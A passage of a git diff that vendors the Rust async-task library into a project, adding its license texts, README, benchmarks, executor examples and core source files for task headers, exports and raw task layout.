"Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + +2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + +3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + +4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + +5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + +6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + +7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + +8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + +9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + +END OF TERMS AND CONDITIONS + +APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + +Copyright [yyyy] [name of copyright owner] + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. diff --git a/lib/malio/async-task/LICENSE-MIT b/lib/malio/async-task/LICENSE-MIT new file mode 100644 index 0000000..31aa793 --- /dev/null +++ b/lib/malio/async-task/LICENSE-MIT @@ -0,0 +1,23 @@ +Permission is hereby granted, free of charge, to any +person obtaining a copy of this software and associated +documentation files (the "Software"), to deal in the +Software without restriction, including without +limitation the rights to use, copy, modify, merge, +publish, distribute, sublicense, and/or sell copies of +the Software, and to permit persons to whom the Software +is furnished to do so, subject to the following +conditions: + +The above copyright notice and this permission notice +shall be included in all copies or substantial portions +of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF +ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED +TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A +PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT +SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY +CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR +IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +DEALINGS IN THE SOFTWARE. diff --git a/lib/malio/async-task/README.md b/lib/malio/async-task/README.md new file mode 100644 index 0000000..d146936 --- /dev/null +++ b/lib/malio/async-task/README.md @@ -0,0 +1,69 @@ +# async-task + +[![Build](https://github.com/smol-rs/async-task/actions/workflows/ci.yml/badge.svg)]( +https://github.com/smol-rs/async-task/actions) +[![License](https://img.shields.io/badge/license-Apache--2.0_OR_MIT-blue.svg)]( +https://github.com/smol-rs/async-task) +[![Cargo](https://img.shields.io/crates/v/async-task.svg)]( +https://crates.io/crates/async-task) +[![Documentation](https://docs.rs/async-task/badge.svg)]( +https://docs.rs/async-task) + +Task abstraction for building executors. + +To spawn a future onto an executor, we first need to allocate it on the heap and keep some +state attached to it. The state indicates whether the future is ready for polling, waiting to +be woken up, or completed. Such a stateful future is called a *task*. + +All executors have a queue that holds scheduled tasks: + +```rust +let (sender, receiver) = flume::unbounded(); +``` + +A task is created using either `spawn()`, `spawn_local()`, or `spawn_unchecked()` which +returns a `Runnable` and a `Task`: + +```rust +// A future that will be spawned. +let future = async { 1 + 2 }; + +// A function that schedules the task when it gets woken up. +let schedule = move |runnable| sender.send(runnable).unwrap(); + +// Construct a task. +let (runnable, task) = async_task::spawn(future, schedule); + +// Push the task into the queue by invoking its schedule function. +runnable.schedule(); +``` + +The `Runnable` is used to poll the task's future, and the `Task` is used to await its +output. + +Finally, we need a loop that takes scheduled tasks from the queue and runs them: + +```rust +for runnable in receiver { + runnable.run(); +} +``` + +Method `run()` polls the task's future once. Then, the `Runnable` +vanishes and only reappears when its `Waker` wakes the task, thus +scheduling it to be run again. + +## License + +Licensed under either of + + * Apache License, Version 2.0 ([LICENSE-APACHE](LICENSE-APACHE) or http://www.apache.org/licenses/LICENSE-2.0) + * MIT license ([LICENSE-MIT](LICENSE-MIT) or http://opensource.org/licenses/MIT) + +at your option. + +#### Contribution + +Unless you explicitly state otherwise, any contribution intentionally submitted +for inclusion in the work by you, as defined in the Apache-2.0 license, shall be +dual licensed as above, without any additional terms or conditions. diff --git a/lib/malio/async-task/benches/spawn.rs b/lib/malio/async-task/benches/spawn.rs new file mode 100644 index 0000000..75d059e --- /dev/null +++ b/lib/malio/async-task/benches/spawn.rs @@ -0,0 +1,22 @@ +#![feature(test)] + +extern crate test; + +use smol::future; +use test::Bencher; + +#[bench] +fn task_create(b: &mut Bencher) { + b.iter(|| { + let _ = async_task::spawn(async {}, drop); + }); +} + +#[bench] +fn task_run(b: &mut Bencher) { + b.iter(|| { + let (runnable, task) = async_task::spawn(async {}, drop); + runnable.run(); + future::block_on(task); + }); +} diff --git a/lib/malio/async-task/examples/spawn-local.rs b/lib/malio/async-task/examples/spawn-local.rs new file mode 100644 index 0000000..a9da1b4 --- /dev/null +++ b/lib/malio/async-task/examples/spawn-local.rs @@ -0,0 +1,73 @@ +//! A simple single-threaded executor that can spawn non-`Send` futures. + +use std::cell::Cell; +use std::future::Future; +use std::rc::Rc; + +use async_task::{Runnable, Task}; + +thread_local! { + // A queue that holds scheduled tasks. + static QUEUE: (flume::Sender, flume::Receiver) = flume::unbounded(); +} + +/// Spawns a future on the executor. +fn spawn(future: F) -> Task +where + F: Future + 'static, + T: 'static, +{ + // Create a task that is scheduled by pushing itself into the queue. + let schedule = |runnable| QUEUE.with(|(s, _)| s.send(runnable).unwrap()); + let (runnable, task) = async_task::spawn_local(future, schedule); + + // Schedule the task by pushing it into the queue. + runnable.schedule(); + + task +} + +/// Runs a future to completion. +fn run(future: F) -> T +where + F: Future + 'static, + T: 'static, +{ + // Spawn a task that sends its result through a channel. + let (s, r) = flume::unbounded(); + spawn(async move { drop(s.send(future.await)) }).detach(); + + loop { + // If the original task has completed, return its result. + if let Ok(val) = r.try_recv() { + return val; + } + + // Otherwise, take a task from the queue and run it. + QUEUE.with(|(_, r)| r.recv().unwrap().run()); + } +} + +fn main() { + let val = Rc::new(Cell::new(0)); + + // Run a future that increments a non-`Send` value. + run({ + let val = val.clone(); + async move { + // Spawn a future that increments the value. + let task = spawn({ + let val = val.clone(); + async move { + val.set(dbg!(val.get()) + 1); + } + }); + + val.set(dbg!(val.get()) + 1); + task.await; + } + }); + + // The value should be 2 at the end of the program. + dbg!(val.get()); +} diff --git a/lib/malio/async-task/examples/spawn-on-thread.rs b/lib/malio/async-task/examples/spawn-on-thread.rs new file mode 100644 index 0000000..b0ec2f2 --- /dev/null +++ b/lib/malio/async-task/examples/spawn-on-thread.rs @@ -0,0 +1,53 @@ +//! A function that runs a future to completion on a dedicated thread. + +use std::future::Future; +use std::sync::Arc; +use std::thread; + +use async_task::Task; +use smol::future; + +/// Spawns a future on a new dedicated thread. +/// +/// The returned task can be used to await the output of the future. +fn spawn_on_thread(future: F) -> Task +where + F: Future + Send + 'static, + T: Send + 'static, +{ + // Create a channel that holds the task when it is scheduled for running. + let (sender, receiver) = flume::unbounded(); + let sender = Arc::new(sender); + let s = Arc::downgrade(&sender); + + // Wrap the future into one that disconnects the channel on completion. + let future = async move { + // When the inner future completes, the sender gets dropped and disconnects the channel. + let _sender = sender; + future.await + }; + + // Create a task that is scheduled by sending it into the channel. + let schedule = move |runnable| s.upgrade().unwrap().send(runnable).unwrap(); + let (runnable, task) = async_task::spawn(future, schedule); + + // Schedule the task by sending it into the channel. + runnable.schedule(); + + // Spawn a thread running the task to completion. + thread::spawn(move || { + // Keep taking the task from the channel and running it until completion. + for runnable in receiver { + runnable.run(); + } + }); + + task +} + +fn main() { + // Spawn a future on a dedicated thread. + future::block_on(spawn_on_thread(async { + println!("Hello, world!"); + })); +} diff --git a/lib/malio/async-task/examples/spawn.rs b/lib/malio/async-task/examples/spawn.rs new file mode 100644 index 0000000..3a64811 --- /dev/null +++ b/lib/malio/async-task/examples/spawn.rs @@ -0,0 +1,48 @@ +//! A simple single-threaded executor. + +use std::future::Future; +use std::panic::catch_unwind; +use std::thread; + +use async_task::{Runnable, Task}; +use once_cell::sync::Lazy; +use smol::future; + +/// Spawns a future on the executor. +fn spawn(future: F) -> Task +where + F: Future + Send + 'static, + T: Send + 'static, +{ + // A queue that holds scheduled tasks. + static QUEUE: Lazy> = Lazy::new(|| { + let (sender, receiver) = flume::unbounded::(); + + // Start the executor thread. + thread::spawn(|| { + for runnable in receiver { + // Ignore panics inside futures. + let _ignore_panic = catch_unwind(|| runnable.run()); + } + }); + + sender + }); + + // Create a task that is scheduled by pushing it into the queue. + let schedule = |runnable| QUEUE.send(runnable).unwrap(); + let (runnable, task) = async_task::spawn(future, schedule); + + // Schedule the task by pushing it into the queue. + runnable.schedule(); + + task +} + +fn main() { + // Spawn a future and await its result. + let task = spawn(async { + println!("Hello, world!"); + }); + future::block_on(task); +} diff --git a/lib/malio/async-task/examples/with-metadata.rs b/lib/malio/async-task/examples/with-metadata.rs new file mode 100644 index 0000000..7a71f50 --- /dev/null +++ b/lib/malio/async-task/examples/with-metadata.rs @@ -0,0 +1,143 @@ +//! A single threaded executor that uses shortest-job-first scheduling. + +use std::cell::RefCell; +use std::collections::BinaryHeap; +use std::pin::Pin; +use std::task::{Context, Poll}; +use std::thread; +use std::time::{Duration, Instant}; +use std::{cell::Cell, future::Future}; + +use async_task::{Builder, Runnable, Task}; +use pin_project_lite::pin_project; +use smol::{channel, future}; + +struct ByDuration(Runnable); + +impl ByDuration { + fn duration(&self) -> Duration { + self.0.metadata().inner.get() + } +} + +impl PartialEq for ByDuration { + fn eq(&self, other: &Self) -> bool { + self.duration() == other.duration() + } +} + +impl Eq for ByDuration {} + +impl PartialOrd for ByDuration { + fn partial_cmp(&self, other: &Self) -> Option { + Some(self.cmp(other)) + } +} + +impl Ord for ByDuration { + fn cmp(&self, other: &Self) -> std::cmp::Ordering { + self.duration().cmp(&other.duration()).reverse() + } +} + +pin_project! { + #[must_use = "futures do nothing unless you `.await` or poll them"] + struct MeasureRuntime<'a, F> { + #[pin] + f: F, + duration: &'a Cell + } +} + +impl Future for MeasureRuntime<'_, F> { + type Output = F::Output; + + fn poll(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + let this = self.project(); + let duration_cell: &Cell = this.duration; + let start = Instant::now(); + let res = F::poll(this.f, cx); + let new_duration = Instant::now() - start; + duration_cell.set(duration_cell.get() / 2 + new_duration / 2); + res + } +} + +pub struct DurationMetadata { + inner: Cell, +} + +thread_local! { + // A queue that holds scheduled tasks. + static QUEUE: RefCell> = RefCell::new(BinaryHeap::new()); +} + +fn make_future_fn<'a, F>(future: F) -> impl FnOnce(&'a DurationMetadata) -> MeasureRuntime<'a, F> { + move |duration_meta| MeasureRuntime { + f: future, + duration: &duration_meta.inner, + } +} + +fn ensure_safe_schedule(f: F) -> F { + f +} + +/// Spawns a future on the executor. +pub fn spawn(future: F) -> Task +where + F: Future + 'static, + T: 'static, +{ + let spawn_thread_id = thread::current().id(); + // Create a task that is scheduled by pushing it into the queue. + let schedule = ensure_safe_schedule(move |runnable| { + if thread::current().id() != spawn_thread_id { + panic!("Task would be run on a different thread than spawned on."); + } + QUEUE.with(move |queue| queue.borrow_mut().push(ByDuration(runnable))); + }); + let future_fn = make_future_fn(future); + let (runnable, task) = unsafe { + Builder::new() + .metadata(DurationMetadata { + inner: Cell::new(Duration::default()), + }) + .spawn_unchecked(future_fn, schedule) + }; + + // Schedule the task by pushing it into the queue. + runnable.schedule(); + + task +} + +pub fn block_on(future: F) +where + F: Future + 'static, +{ + let task = spawn(future); + while !task.is_finished() { + let Some(runnable) = QUEUE.with(|queue| queue.borrow_mut().pop()) else { + thread::yield_now(); + continue; + }; + runnable.0.run(); + } +} + +fn main() { + // Spawn a future and await its result. + block_on(async { + let (sender, receiver) = channel::bounded(1); + let world = spawn(async move { + receiver.recv().await.unwrap(); + println!("world.") + }); + let hello = spawn(async move { + sender.send(()).await.unwrap(); + print!("Hello, ") + }); + future::zip(hello, world).await; + }); +} diff --git a/lib/malio/async-task/src/header.rs b/lib/malio/async-task/src/header.rs new file mode 100644 index 0000000..cc42c5a --- /dev/null +++ b/lib/malio/async-task/src/header.rs @@ -0,0 +1,238 @@ +use core::cell::UnsafeCell; +use core::fmt; +use core::task::{RawWaker, Waker}; + +#[cfg(not(feature = "portable-atomic"))] +use core::sync::atomic::AtomicUsize; +use core::sync::atomic::Ordering; +#[cfg(feature = "portable-atomic")] +use portable_atomic::AtomicUsize; + +use crate::raw::TaskVTable; +use crate::state::*; +use crate::utils::abort; +use crate::utils::abort_on_panic; + +/// Actions to take upon calling [`Header::drop_waker`]. +pub(crate) enum DropWakerAction { + /// Re-schedule the task. + Schedule, + /// Destroy the task. + Destroy, + /// Do nothing. + None, +} + +pub(crate) struct Header { + /// Current state of the task. + /// + /// Contains flags representing the current state and the reference count. + pub(crate) state: AtomicUsize, + + /// The task that is blocked on the `Task` handle. + /// + /// This waker needs to be woken up once the task completes or is closed. + pub(crate) awaiter: UnsafeCell>, + + /// The virtual table. + /// + /// In addition to the actual waker virtual table, it also contains pointers to several other + /// methods necessary for bookkeeping the heap-allocated task. + pub(crate) vtable: &'static TaskVTable, + + /// Whether or not a panic that occurs in the task should be propagated. + #[cfg(feature = "std")] + pub(crate) propagate_panic: bool, +} + +impl Header { + /// Notifies the awaiter blocked on this task. + /// + /// If the awaiter is the same as the current waker, it will not be notified. + #[inline] + pub(crate) fn notify(&self, current: Option<&Waker>) { + if let Some(w) = self.take(current) { + abort_on_panic(|| w.wake()); + } + } + + /// Takes the awaiter blocked on this task. + /// + /// If there is no awaiter or if it is the same as the current waker, returns `None`. + #[inline] + pub(crate) fn take(&self, current: Option<&Waker>) -> Option { + // Set the bit indicating that the task is notifying its awaiter. + let state = self.state.fetch_or(NOTIFYING, Ordering::AcqRel); + + // If the task was not notifying or registering an awaiter... + if state & (NOTIFYING | REGISTERING) == 0 { + // Take the waker out. + let waker = unsafe { (*self.awaiter.get()).take() }; + + // Unset the bit indicating that the task is notifying its awaiter. + self.state + .fetch_and(!NOTIFYING & !AWAITER, Ordering::Release); + + // Finally, notify the waker if it's different from the current waker. + if let Some(w) = waker { + match current { + None => return Some(w), + Some(c) if !w.will_wake(c) => return Some(w), + Some(_) => abort_on_panic(|| drop(w)), + } + } + } + + None + } + + /// Registers a new awaiter blocked on this task. + /// + /// This method is called when `Task` is polled and it has not yet completed. + #[inline] + pub(crate) fn register(&self, waker: &Waker) { + // Load the state and synchronize with it. + let mut state = self.state.fetch_or(0, Ordering::Acquire); + + loop { + // There can't be two concurrent registrations because `Task` can only be polled + // by a unique pinned reference. + debug_assert!(state & REGISTERING == 0); + + // If we're in the notifying state at this moment, just wake and return without + // registering. + if state & NOTIFYING != 0 { + abort_on_panic(|| waker.wake_by_ref()); + return; + } + + // Mark the state to let other threads know we're registering a new awaiter. + match self.state.compare_exchange_weak( + state, + state | REGISTERING, + Ordering::AcqRel, + Ordering::Acquire, + ) { + Ok(_) => { + state |= REGISTERING; + break; + } + Err(s) => state = s, + } + } + + // Put the waker into the awaiter field. + unsafe { + abort_on_panic(|| (*self.awaiter.get()) = Some(waker.clone())); + } + + // This variable will contain the newly registered waker if a notification comes in before + // we complete registration. + let mut waker = None; + + loop { + // If there was a notification, take the waker out of the awaiter field. + if state & NOTIFYING != 0 { + if let Some(w) = unsafe { (*self.awaiter.get()).take() } { + abort_on_panic(|| waker = Some(w)); + } + } + + // The new state is not being notified nor registered, but there might or might not be + // an awaiter depending on whether there was a concurrent notification. + let new = if waker.is_none() { + (state & !NOTIFYING & !REGISTERING) | AWAITER + } else { + state & !NOTIFYING & !REGISTERING & !AWAITER + }; + + match self + .state + .compare_exchange_weak(state, new, Ordering::AcqRel, Ordering::Acquire) + { + Ok(_) => break, + Err(s) => state = s, + } + } + + // If there was a notification during registration, wake the awaiter now. + if let Some(w) = waker { + abort_on_panic(|| w.wake()); + } + } + + /// Clones a waker. + pub(crate) unsafe fn clone_waker(ptr: *const ()) -> RawWaker { + let header = ptr as *const Header; + + // Increment the reference count. With any kind of reference-counted data structure, + // relaxed ordering is appropriate when incrementing the counter. + let state = (*header).state.fetch_add(REFERENCE, Ordering::Relaxed); + + // If the reference count overflowed, abort. + if state > isize::MAX as usize { + abort(); + } + + RawWaker::new(ptr, (*header).vtable.raw_waker_vtable) + } + + #[inline(never)] + pub(crate) unsafe fn drop_waker(ptr: *const ()) -> DropWakerAction { + let header = ptr as *const Header; + + // Decrement the reference count. + let new = (*header).state.fetch_sub(REFERENCE, Ordering::AcqRel) - REFERENCE; + + // If this was the last reference to the task and the `Task` has been dropped too, + // then we need to decide how to destroy the task. + if new & !(REFERENCE - 1) == 0 && new & TASK == 0 { + if new & (COMPLETED | CLOSED) == 0 { + // If the task was not completed nor closed, close it and schedule one more time so + // that its future gets dropped by the executor. + (*header) + .state + .store(SCHEDULED | CLOSED | REFERENCE, Ordering::Release); + DropWakerAction::Schedule + } else { + // Otherwise, destroy the task right away. + DropWakerAction::Destroy + } + } else { + DropWakerAction::None + } + } +} + +// SAFETY: repr(C) is explicitly used here so that casts between `Header` and `HeaderWithMetadata` +// can be done safely without additional offsets. +// +/// The header of a task. +/// +/// This header is stored in memory at the beginning of the heap-allocated task. +#[repr(C)] +pub(crate) struct HeaderWithMetadata { + pub(crate) header: Header, + + /// Metadata associated with the task. + /// + /// This metadata may be provided to the user. + pub(crate) metadata: M, +} + +impl fmt::Debug for HeaderWithMetadata { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + let state = self.header.state.load(Ordering::SeqCst); + + f.debug_struct("Header") + .field("scheduled", &(state & SCHEDULED != 0)) + .field("running", &(state & RUNNING != 0)) + .field("completed", &(state & COMPLETED != 0)) + .field("closed", &(state & CLOSED != 0)) + .field("awaiter", &(state & AWAITER != 0)) + .field("task", &(state & TASK != 0)) + .field("ref_count", &(state / REFERENCE)) + .field("metadata", &self.metadata) + .finish() + } +} diff --git a/lib/malio/async-task/src/lib.rs b/lib/malio/async-task/src/lib.rs new file mode 100644 index 0000000..290a749 --- /dev/null +++ b/lib/malio/async-task/src/lib.rs @@ -0,0 +1,121 @@ +//! Task abstraction for building executors. +//! +//! To spawn a future onto an executor, we first need to allocate it on the heap and keep some +//! state attached to it. The state indicates whether the future is ready for polling, waiting to +//! be woken up, or completed. Such a stateful future is called a *task*. +//! +//! All executors have a queue that holds scheduled tasks: +//! +//! ``` +//! let (sender, receiver) = flume::unbounded(); +//! # +//! # // A future that will get spawned. +//! # let future = async { 1 + 2 }; +//! # +//! # // A function that schedules the task when it gets woken up. +//! # let schedule = move |runnable| sender.send(runnable).unwrap(); +//! # +//! # // Create a task. +//! # let (runnable, task) = async_task::spawn(future, schedule); +//! ``` +//! +//! A task is created using either [`spawn()`], [`spawn_local()`], or [`spawn_unchecked()`] which +//! returns a [`Runnable`] and a [`Task`]: +//! +//! ``` +//! # let (sender, receiver) = flume::unbounded(); +//! # +//! // A future that will be spawned. +//! let future = async { 1 + 2 }; +//! +//! // A function that schedules the task when it gets woken up. +//! let schedule = move |runnable| sender.send(runnable).unwrap(); +//! +//! // Construct a task. +//! let (runnable, task) = async_task::spawn(future, schedule); +//! +//! // Push the task into the queue by invoking its schedule function. +//! runnable.schedule(); +//! # let handle = std::thread::spawn(move || { for runnable in receiver { runnable.run(); }}); +//! # smol::future::block_on(task); +//! # handle.join().unwrap(); +//! ``` +//! +//! The [`Runnable`] is used to poll the task's future, and the [`Task`] is used to await its +//! output. +//! +//! Finally, we need a loop that takes scheduled tasks from the queue and runs them: +//! +//! ```no_run +//! # let (sender, receiver) = flume::unbounded(); +//! # +//! # // A future that will get spawned. +//! # let future = async { 1 + 2 }; +//! # +//! # // A function that schedules the task when it gets woken up. +//! # let schedule = move |runnable| sender.send(runnable).unwrap(); +//! # +//! # // Create a task. +//! # let (runnable, task) = async_task::spawn(future, schedule); +//! # +//! # // Push the task into the queue by invoking its schedule function. +//! # runnable.schedule(); +//! # +//! for runnable in receiver { +//! runnable.run(); +//! } +//! ``` +//! +//! Method [`run()`][`Runnable::run()`] polls the task's future once. Then, the [`Runnable`] +//! vanishes and only reappears when its [`Waker`][`core::task::Waker`] wakes the task, thus +//! scheduling it to be run again. + +#![no_std] +#![warn(missing_docs, missing_debug_implementations, rust_2018_idioms)] +#![doc(test(attr(deny(rust_2018_idioms, warnings))))] +#![doc(test(attr(allow(unused_variables))))] +#![doc( + html_favicon_url = "https://raw.githubusercontent.com/smol-rs/smol/master/assets/images/logo_fullsize_transparent.png" +)] +#![doc( + html_logo_url = "https://raw.githubusercontent.com/smol-rs/smol/master/assets/images/logo_fullsize_transparent.png" +)] + +extern crate alloc; +#[cfg(feature = "std")] +extern crate std; + +/// We can't use `?` in const contexts yet, so this macro acts +/// as a workaround. +macro_rules! leap { + ($x: expr) => {{ + match ($x) { + Some(val) => val, + None => return None, + } + }}; +} + +macro_rules! leap_unwrap { + ($x: expr) => {{ + match ($x) { + Some(val) => val, + None => panic!("called `Option::unwrap()` on a `None` value"), + } + }}; +} + +mod header; +mod raw; +mod runnable; +mod state; +mod task; +mod utils; + +pub use crate::runnable::{ + spawn, spawn_unchecked, Builder, Runnable, Schedule, ScheduleInfo, WithInfo, +}; +pub use crate::task::{FallibleTask, Task}; + +#[cfg(feature = "std")] +pub use crate::runnable::spawn_local; diff --git a/lib/malio/async-task/src/raw.rs b/lib/malio/async-task/src/raw.rs new file mode 100644 index 0000000..89dd16d --- /dev/null +++ b/lib/malio/async-task/src/raw.rs @@ -0,0 +1,746 @@ +use alloc::alloc::Layout as StdLayout; +use core::future::Future; +use core::marker::PhantomData; +use core::mem::{self, ManuallyDrop}; +use core::pin::Pin; +use core::ptr::NonNull; +use core::task::{Context, Poll, RawWaker, RawWakerVTable, Waker}; + +use core::sync::atomic::Ordering; + +use crate::header::{DropWakerAction, Header, HeaderWithMetadata}; +use crate::runnable::{Schedule, ScheduleInfo}; +use crate::state::*; +use crate::utils::{abort, abort_on_panic, max, Layout}; +use crate::Runnable; + +#[cfg(feature = "std")] +pub(crate) type Panic = alloc::boxed::Box; + +#[cfg(not(feature = "std"))] +pub(crate) type Panic = core::convert::Infallible; + +/// The vtable for a task. +pub(crate) struct TaskVTable { + pub(crate) raw_waker_vtable: &'static RawWakerVTable, + + /// Schedules the task. + pub(crate) schedule: unsafe fn(*const (), ScheduleInfo), + + /// Drops the future inside the task. + pub(crate) drop_future: unsafe fn(*const (), &TaskLayout), + + /// Destroys the task. + pub(crate) destroy: unsafe fn(*const ()), + + /// Runs the task. + pub(crate) run: unsafe fn(*const ()) -> bool, + + /// The memory layout of the task. This information enables + /// debuggers to decode raw task memory blobs. Do not remove + /// the field, even if it appears to be unused. + pub(crate) layout_info: &'static TaskLayout, +} + +impl TaskVTable { + /// Returns a pointer to the output inside a task. + pub(crate) unsafe fn get_output(&self, ptr: *const ()) -> *const () { + ptr.add_byte(self.layout_info.offset_r) + } +} + +/// Memory layout of a task. +/// +/// This struct contains the following information: +/// +/// 1. How to allocate and deallocate the task. +/// 2. How to access the fields inside the task. +#[derive(Clone, Copy)] +pub(crate) struct TaskLayout { + /// Memory layout of the whole task. + pub(crate) layout: StdLayout, + + /// Offset into the task at which the schedule function is stored. + pub(crate) offset_s: usize, + + /// Offset into the task at which the future is stored. + pub(crate) offset_f: usize, + + /// Offset into the task at which the output is stored. + pub(crate) offset_r: usize, +} + +/// Raw pointers to the fields inside a task. +pub(crate) struct RawTask { + /// The task header. + pub(crate) header: *const HeaderWithMetadata, + + /// The schedule function. + pub(crate) schedule: *const S, + + /// The future. + pub(crate) future: *mut F, + + /// The output of the future. + pub(crate) output: *mut Result, +} + +impl Copy for RawTask {} + +impl Clone for RawTask { + fn clone(&self) -> Self { + *self + } +} + +impl RawTask { + pub(crate) const TASK_LAYOUT: TaskLayout = Self::eval_task_layout(); + + /// Computes the memory layout for a task. + #[inline] + const fn eval_task_layout() -> TaskLayout { + // Compute the layouts for `Header`, `S`, `F`, and `T`. + let layout_header = Layout::new::>(); + let layout_s = Layout::new::(); + let layout_f = Layout::new::(); + let layout_r = Layout::new::>(); + + // Compute the layout for `union { F, T }`. + let size_union = max(layout_f.size(), layout_r.size()); + let align_union = max(layout_f.align(), layout_r.align()); + let layout_union = Layout::from_size_align(size_union, align_union); + + // Compute the layout for `Header` followed by `S` and `union { F, T }`. + let layout = layout_header; + let (layout, offset_s) = leap_unwrap!(layout.extend(layout_s)); + let (layout, offset_union) = leap_unwrap!(layout.extend(layout_union)); + let offset_f = offset_union; + let offset_r = offset_union; + + TaskLayout { + layout: unsafe { layout.into_std() }, + offset_s, + offset_f, + offset_r, + } + } 